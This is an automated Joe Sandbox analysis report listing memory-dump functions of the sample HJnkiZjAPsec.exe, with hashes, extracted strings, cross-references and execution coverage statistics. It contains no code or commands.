Opcode ID: ab825bf9bc5436cbbfde64ca6eeedb297e26e96c31fd27eb610ce5f4f4fabe78
Instruction ID: b5168dec0ba541c4321465c4c73671b4d2f4e9fe933105ad91a9919de6338e90
Opcode Fuzzy Hash: ab825bf9bc5436cbbfde64ca6eeedb297e26e96c31fd27eb610ce5f4f4fabe78
Instruction Fuzzy Hash: 69F0E93D33D2729BD7248A299854B7D37A6AFC0912B09406EF407CB692DB64D802CB90

Function 0522BE58 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a301f27bc581df4d4746c37a269122f7963f8b8c9aff5c29a1a20171dfff14f
Instruction ID: 922fb1cdab3d5155b8ee109789ddeb7bf2c41e026a01e9437953882f71dd9854
Opcode Fuzzy Hash: 0a301f27bc581df4d4746c37a269122f7963f8b8c9aff5c29a1a20171dfff14f
Instruction Fuzzy Hash: 62F08239324930A7CB196639902863D73DBAFD6A11B54402DE50ACF7A1CF64CC42C795

Function 0522B218 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce29a3665e5256b629ec490de319377e7f371b5ee6bee049808c67e34ab26c3
Instruction ID: 205fa1043576f4a38075a9738b05b0856edeb73b92a54b6c37004487831d0a0a
Opcode Fuzzy Hash: 3ce29a3665e5256b629ec490de319377e7f371b5ee6bee049808c67e34ab26c3
Instruction Fuzzy Hash: 8901C475A00609DFCB40EFB8C5859EEBFF0FF49204B11869BE459E7221E7709A58CB81

Function 0522DCC8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6710daa5590dea0083ca2215d4247c3a3ab073ca820f0c3f659c37b26657da4d
Instruction ID: 0a5c925b2b72bb32716291b07504c5c9db25dc1332527444c1c6e32ea37eadd3
Opcode Fuzzy Hash: 6710daa5590dea0083ca2215d4247c3a3ab073ca820f0c3f659c37b26657da4d
Instruction Fuzzy Hash: 8BF090322106158FC724AB1EE58496AF7BAFFC8725B400269E40A87360DB31AC428B90

Function 0522B228 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
Instruction ID: 4243ceffdd30f352615e2fe6667d750750fc4abca0ae9b7f9b7c733986b7bd1f
Opcode Fuzzy Hash: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
Instruction Fuzzy Hash: 0601B675D00609DFCB40EFACC54589DBBF4FF49210B1185AAE859EB321E770AA44CF91

Function 0522E4C0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b033710d89f1f651d96db2930723ee0556e6e96e28737a5f38f0d8bdb62b2454
Instruction ID: 8cef1289cb47f2b94fb9cb552038885681011f1e861161c683f646b3e88be426
Opcode Fuzzy Hash: b033710d89f1f651d96db2930723ee0556e6e96e28737a5f38f0d8bdb62b2454
Instruction Fuzzy Hash: 3CF0BC342506208FC718DB2CD588C59BBEAEF4AB1971245A9E10ACB372CB72EC40CB90

Function 0522A338 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 920e25aad329eb071fbb80597bb703f455efa37a405840afe270c6c865142e12
Instruction ID: df432ac33a50c4962c668ad91e581a4a606c46af5a6b14051d8b2d48061278db
Opcode Fuzzy Hash: 920e25aad329eb071fbb80597bb703f455efa37a405840afe270c6c865142e12
Instruction Fuzzy Hash: DDE04F76B181287B5B48DAA99C409AFBAEFDF84150F108079A508D3254FE319D818790

Function 05228CEC Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fabd863925daa6b1f0838c5dfc67143169369e7019d8d23234890686fad5bfa9
Instruction ID: 8583b8400db9f102d7389a3b997e4ce64ef6c2d72b249224a9ca4d83cfe848d8
Opcode Fuzzy Hash: fabd863925daa6b1f0838c5dfc67143169369e7019d8d23234890686fad5bfa9
Instruction Fuzzy Hash: BFE0D8321041697FCB029F59D940AEB7FDDDF49310F008551FA0886126C376D56297E5

Function 05222FE4 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4122b46639a12b85ce6831d948844422d69c025f28ca90724ef30fb8f08d887
Instruction ID: c65e1b3b107aa7d625bf6d441fc48ae9d6a220954c8f81eea7e95cfbfc7564e7
Opcode Fuzzy Hash: f4122b46639a12b85ce6831d948844422d69c025f28ca90724ef30fb8f08d887
Instruction Fuzzy Hash: 97E0C234364614AFC728EB5CE88086AF3FAEF8C3103558A79F10AC7365CEA0FC044688

Function 0522AE31 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d975e591faecbaf5a0ac346f17761a8f776a62b7c3b2b071e9f48cdeb62aa3
Instruction ID: 79655d447019220fc098ab3f31114b1805435c4d20bccbb00c64495017677911
Opcode Fuzzy Hash: a3d975e591faecbaf5a0ac346f17761a8f776a62b7c3b2b071e9f48cdeb62aa3
Instruction Fuzzy Hash: BCF0ED320082D86FCB038F58D900ADA7FA49F09204B088996F6988A127C236CA6697A1

Function 0522BE10 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ee91176554eae861b1290dc9103d650589c4c4b7c715b6f96ba5d11e458b19
Instruction ID: 419fc5c007efb648a093280ffb0900de29f14dcfc815cf2940668018d3c29bda
Opcode Fuzzy Hash: b7ee91176554eae861b1290dc9103d650589c4c4b7c715b6f96ba5d11e458b19
Instruction Fuzzy Hash: 35E086353146508FC718CB6CD490B967BF2EF89310B1985AEE089C73A1DA60DC058740

Function 0522DD20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f3215926200a49d6c55713b5643edb493c58d43fc681ad64bea70192efefb85
Instruction ID: 2ddf4f59696dfeb45c7c1c9a3cba08e87fd4932c4ada546397cde401e1df71d5
Opcode Fuzzy Hash: 8f3215926200a49d6c55713b5643edb493c58d43fc681ad64bea70192efefb85
Instruction Fuzzy Hash: E1D0C92A71043117C264E55CBCA57AB66DADBCA775B58046EF505DB384EC528D0103D5

Function 0522B641 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e933fd5a5debdc54246425fc2da85fe46befbd14f8daf6873a5cae7d59bdb5d1
Instruction ID: 5d93c0da2e9b487e7d87b587c70a0a2674b4a4e04410e8830670d456b7d23e34
Opcode Fuzzy Hash: e933fd5a5debdc54246425fc2da85fe46befbd14f8daf6873a5cae7d59bdb5d1
Instruction Fuzzy Hash: 5CE0863821829147D7069B71989A3753FA5FF41215B4945AEE484CA483DB198089D711

Function 0522EF20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 314c2210e205272fd055976ce1d6a3a5c8b792a357010cc7f5a081bd04a0eb63
Instruction ID: 612a74c4be6744e63f4fceaae239153d0ffee1e213a2b9256265e0a6a5a1a59a
Opcode Fuzzy Hash: 314c2210e205272fd055976ce1d6a3a5c8b792a357010cc7f5a081bd04a0eb63
Instruction Fuzzy Hash: F1D0223437A30B83EB1857A4B488A35339EBF00305B0A0068F80EC9800EB22E840B112

Function 0522EF10 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60937f3b2ac9e2931df25f944692a96368c4d242f018e586fe423aed9718db24
Instruction ID: 44ec66345bb7f56f5fb7eb37bad57fcf22d784ce9a5ab41298dfcae50f5a83b7
Opcode Fuzzy Hash: 60937f3b2ac9e2931df25f944692a96368c4d242f018e586fe423aed9718db24
Instruction Fuzzy Hash: C2D0A7680BA1E155E34142755E9A7B13F65EB013D4F0900AAD8C544043D51580017312

Function 0522B650 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd8b39a87cf125bd4896cd7338a6f0936b3fbd5207849ad0d25a479a1384e70
Instruction ID: 57de1a5fe3eb5da2f547d3e4e6b65a3233b5c0c11a0a55eca56d7919bc92121f
Opcode Fuzzy Hash: 5bd8b39a87cf125bd4896cd7338a6f0936b3fbd5207849ad0d25a479a1384e70
Instruction Fuzzy Hash: F9D0A73431421547A7046FB6685A235378FBB846053858014A24A861C4CE28D9819651

Non-executed Functions

Function 05224748 Relevance: 41.7, Strings: 33, Instructions: 438COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05224A14
4'^q, xrefs: 052249CE
4'^q, xrefs: 05224B73
4'^q, xrefs: 05224AEF
4'^q, xrefs: 0522482A
4'^q, xrefs: 05224942
4'^q, xrefs: 05224870
4'^q, xrefs: 05224988
4'^q, xrefs: 05224CD3
4'^q, xrefs: 05224CA7
4'^q, xrefs: 05224A37
4'^q, xrefs: 05224CFF
4'^q, xrefs: 0522484D
4'^q, xrefs: 05224A5A
4'^q, xrefs: 052249AB
4'^q, xrefs: 05224C23
4'^q, xrefs: 05224893
4'^q, xrefs: 05224B1B
4'^q, xrefs: 05224C4F
4'^q, xrefs: 05224AC3
4'^q, xrefs: 05224B9F
4'^q, xrefs: 05224965
4'^q, xrefs: 052248FC
4'^q, xrefs: 05224B47
4'^q, xrefs: 0522491F
4'^q, xrefs: 052248D9
4'^q, xrefs: 05224A7D
4'^q, xrefs: 05224BF7
4'^q, xrefs: 05224BCB
4'^q, xrefs: 052249F1
4'^q, xrefs: 05224AA0
4'^q, xrefs: 05224C7B
4'^q, xrefs: 052248B6

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: e90dcbecc8d71606a853bf997aa8cb9336e4e90226b0d98da366e3ab561057f8
Instruction ID: 2104c21e23182d286c17a07e6973180119ebe9fbe2d854526e168ff81c761f66
Opcode Fuzzy Hash: e90dcbecc8d71606a853bf997aa8cb9336e4e90226b0d98da366e3ab561057f8
Instruction Fuzzy Hash: 211221B0E5121A8FCB19EF75E89169DB7B2FF80300F5045A9D049AB26CDF306989CF91

Function 05224758 Relevance: 41.7, Strings: 33, Instructions: 434COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05224A14
4'^q, xrefs: 052249CE
4'^q, xrefs: 05224B73
4'^q, xrefs: 05224AEF
4'^q, xrefs: 0522482A
4'^q, xrefs: 05224942
4'^q, xrefs: 05224870
4'^q, xrefs: 05224988
4'^q, xrefs: 05224CD3
4'^q, xrefs: 05224CA7
4'^q, xrefs: 05224A37
4'^q, xrefs: 05224CFF
4'^q, xrefs: 0522484D
4'^q, xrefs: 05224A5A
4'^q, xrefs: 052249AB
4'^q, xrefs: 05224C23
4'^q, xrefs: 05224893
4'^q, xrefs: 05224B1B
4'^q, xrefs: 05224C4F
4'^q, xrefs: 05224AC3
4'^q, xrefs: 05224B9F
4'^q, xrefs: 05224965
4'^q, xrefs: 052248FC
4'^q, xrefs: 05224B47
4'^q, xrefs: 0522491F
4'^q, xrefs: 052248D9
4'^q, xrefs: 05224A7D
4'^q, xrefs: 05224BF7
4'^q, xrefs: 05224BCB
4'^q, xrefs: 052249F1
4'^q, xrefs: 05224AA0
4'^q, xrefs: 05224C7B
4'^q, xrefs: 052248B6

Memory Dump Source

Source File: 00000008.00000002.1784942242.0000000005220000.00000040.00000800.00020000.00000000.sdmp, Offset: 05220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5220000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: 2ac822d1e5eefbb4d6f17c7f1df6448d1e090fc579cc99b5d0f96c42af4975eb
Instruction ID: ea30e483ea74b2dfb60960672d2371cda66752bf0239f0a59d257bd59c336310
Opcode Fuzzy Hash: 2ac822d1e5eefbb4d6f17c7f1df6448d1e090fc579cc99b5d0f96c42af4975eb
Instruction Fuzzy Hash: 8B1210B0E5121A8FCB19EF75E89169DB7B6FF80300F5085A9D0496B26CDF306989CF91

Analysis Process: HJnkiZjAPsec.exePID: 7448, Parent PID: 7260COMMON

Execution Graph

Execution Coverage:	19.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	47
Total number of Limit Nodes:	12

Executed Functions

Function 029EC468 Relevance: 9.0, Strings: 7, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 029EC647
PH^q, xrefs: 029EC3EF
PH^q, xrefs: 029EC6BF
0oAp, xrefs: 029EC4DA
PH^q, xrefs: 029EC6D0
PH^q, xrefs: 029EC400
LjAp, xrefs: 029EC65D

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q$PH^q$PH^q
API String ID: 0-1018772655
Opcode ID: d2331ae88f50dd2519dfef646a2aeb18986feb5fbc4f1b87c629bb1eece2c71b
Instruction ID: 082317ef93f2a8a40158755c7012444fbdceadf91f0d94c37513cc03724a7b11
Opcode Fuzzy Hash: d2331ae88f50dd2519dfef646a2aeb18986feb5fbc4f1b87c629bb1eece2c71b
Instruction Fuzzy Hash: 23A1D574E00219CFDF19DFA9D944AADBBF2BF88304F10906AE45AAB365DB309941CF50

Function 029E6FC8 Relevance: 6.7, Strings: 5, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 029E728A
,bq, xrefs: 029E7298
(o^q, xrefs: 029E753D
(o^q, xrefs: 029E7212
(o^q, xrefs: 029E7220

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: b279d36399467caaa9de9f63b583dd9518e40d917c6ccc204bf19a5713d486e4
Instruction ID: 27d75b5b8370146a21ad07ce9d2909f68de1ed2fccc33e1e9c07754a048873a8
Opcode Fuzzy Hash: b279d36399467caaa9de9f63b583dd9518e40d917c6ccc204bf19a5713d486e4
Instruction Fuzzy Hash: 96123E30A00219DFCF16CFA9D884AEEFBB6BF89304F158465E8569B365DB30D941CB52

Function 029EC146 Relevance: 6.5, Strings: 5, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 029EC377
PH^q, xrefs: 029EC3EF
LjAp, xrefs: 029EC38D
PH^q, xrefs: 029EC400
0oAp, xrefs: 029EC20A

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: be9639aeae2fef8c6bb83cd375e1e84c1eabb152b8818a67be8021e210affa06
Instruction ID: 399272f56c13b968f0c818f8934709823c4b0a5bc98af54972d4d20b40788389
Opcode Fuzzy Hash: be9639aeae2fef8c6bb83cd375e1e84c1eabb152b8818a67be8021e210affa06
Instruction Fuzzy Hash: A8B11775E00258DFDF15CFA9D884A9DBBF2BF89304F1580AAE449AB365DB309881CF50

Function 029ED278 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 029ED4CF
LjAp, xrefs: 029ED457
LjAp, xrefs: 029ED46D
PH^q, xrefs: 029ED4E0
0oAp, xrefs: 029ED2EA

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 4ef038c0199d3686b03745455277e1184cf920e97f58e5a2ab64c2ab81a7cfbd
Instruction ID: 65abedf044ebad5644e1269e1510b2c5f70cd4462050f01def3b314a91e74222
Opcode Fuzzy Hash: 4ef038c0199d3686b03745455277e1184cf920e97f58e5a2ab64c2ab81a7cfbd
Instruction Fuzzy Hash: 1E81A474E00218CFDB19DFAAD984A9DBBF6BF88304F14D069E419AB365DB349985CF10

Function 029ECA08 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 029ECC5F
LjAp, xrefs: 029ECBFD
0oAp, xrefs: 029ECA7A
PH^q, xrefs: 029ECC70
LjAp, xrefs: 029ECBE7

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 56e70399927ca35f26adb1a4017848b24576acfc43d646fe14ea6ec111b2e7d3
Instruction ID: 35b607d0ef4da25f64e7080d4553cdc2613e6ab1136ab2915e260c13da39733b
Opcode Fuzzy Hash: 56e70399927ca35f26adb1a4017848b24576acfc43d646fe14ea6ec111b2e7d3
Instruction Fuzzy Hash: F581C874E00218CFDB19DFA9D944A9DBBF2BF88304F14C46AE459AB365DB309981CF50

Function 029ECCD8 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 029ECF2F
0oAp, xrefs: 029ECD4A
LjAp, xrefs: 029ECEB7
PH^q, xrefs: 029ECF40
LjAp, xrefs: 029ECECD

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 59d1977b7d2e8b331c838edd8abf6a5d2dcbc2066a01eb4d07dd74781f6f4801
Instruction ID: bdec3d76ae8e5d2db35bc23578a85ae5a61c83090ca302516107c92d25bb6bea
Opcode Fuzzy Hash: 59d1977b7d2e8b331c838edd8abf6a5d2dcbc2066a01eb4d07dd74781f6f4801
Instruction Fuzzy Hash: 5081D674E00218DFDB19DFA9D984A9DBBF2BF88304F14C06AE459AB365DB309981CF50

Function 029E5370 Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 029E55C8
LjAp, xrefs: 029E5550
0oAp, xrefs: 029E53E2
LjAp, xrefs: 029E5566
PH^q, xrefs: 029E55D9

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 94e2b397551e6277f4e9dc683c95085cc8758c879c42ef643249aaeac25e2d4d
Instruction ID: d55fcc65edc6895fb692f452c4f4a73e80472770144c5b18a07399f76c19858e
Opcode Fuzzy Hash: 94e2b397551e6277f4e9dc683c95085cc8758c879c42ef643249aaeac25e2d4d
Instruction Fuzzy Hash: 1281B674E00218CFDB19DFAAD984A9DBBF2BF88304F15C469E419AB365DB309981CF10

Function 029EC738 Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 029EC9A0
LjAp, xrefs: 029EC92D
PH^q, xrefs: 029EC98F
0oAp, xrefs: 029EC7AA
LjAp, xrefs: 029EC917

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 31cf9525b74a6687babad14e107e75120face61ee44f5cdca907c7d79bd5a76e
Instruction ID: a9ee97a0cabb612ccf6938c566121265ec21efd1ed34221f923a2ecec4f37b44
Opcode Fuzzy Hash: 31cf9525b74a6687babad14e107e75120face61ee44f5cdca907c7d79bd5a76e
Instruction Fuzzy Hash: C0818474E00218DFDB19DFA9D984A9DBBF2BF88304F14C06AE459AB365DB349981CF50

Function 029ECFAB Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 029ED01A
PH^q, xrefs: 029ED210
LjAp, xrefs: 029ED187
LjAp, xrefs: 029ED19D
PH^q, xrefs: 029ED1FF

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: c8d481b00649db2de64e62295f688609f929075bb88a03f898ab0a6d896ce0d0
Instruction ID: 65e40502fb449388819f3a93a7e7b9fa952dde4d753df60c04ffb4292f49d2d5
Opcode Fuzzy Hash: c8d481b00649db2de64e62295f688609f929075bb88a03f898ab0a6d896ce0d0
Instruction Fuzzy Hash: 1B81A174E00218DFDB19DFAAD994A9DBBF6BF89304F14C069E419AB365DB309981CF10

Function 06969328 Relevance: 3.5, APIs: 2, Instructions: 532
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 069695E0

Memory Dump Source

Source File: 0000000B.00000002.4146949146.0000000006960000.00000040.00000800.00020000.00000000.sdmp, Offset: 06960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6960000_HJnkiZjAPsec.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 68db9991c7778ece39c221dbcbd1556deb3fb4554ceae8c3db50e6eb1b52460b
Instruction ID: 2f5d7c967e0bd378baad9229621215548ea5d74ac758049d1e2334a74c2da9dd
Opcode Fuzzy Hash: 68db9991c7778ece39c221dbcbd1556deb3fb4554ceae8c3db50e6eb1b52460b
Instruction Fuzzy Hash: C0223770E00219CFDB54DFA9C984B9DBBB2BF88304F1085A9E419AB395DB349D85CF90

Function 029EA088 Relevance: 3.4, Strings: 2, Instructions: 893COMMON

Download Yara Rule

Strings

(o^q, xrefs: 029EA518
4'^q, xrefs: 029EAB13

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 04b1e086e6112ffb2290ffd2f498237219e28695ee2e21973fbdb461e9b3b64d
Instruction ID: 4243922e1bd9acfe3f197a9cf56c54496bb6c161feff4d63b3e5ef5bec763d85
Opcode Fuzzy Hash: 04b1e086e6112ffb2290ffd2f498237219e28695ee2e21973fbdb461e9b3b64d
Instruction Fuzzy Hash: 35826C71A00209DFCF16CFA8C584AAEBBF6BF88314F158959E4069B365D731ED91CB60

Function 029E69A0 Relevance: 3.0, Strings: 2, Instructions: 510COMMON

Download Yara Rule

Strings

Hbq, xrefs: 029E6DA6
(o^q, xrefs: 029E6EDA

Memory Dump Source

Source File: 0000000B.00000002.4131544388.00000000029E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29e0000_HJnkiZjAPsec.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: a3431082d196eb25681f30f1ac16937758b2f65012e4c30f02fa686f3ed4901c
Instruction ID: 60e79cfe032a91e4f1f55d45feffce9bb901134b943882d43cba63297ee0f8f8
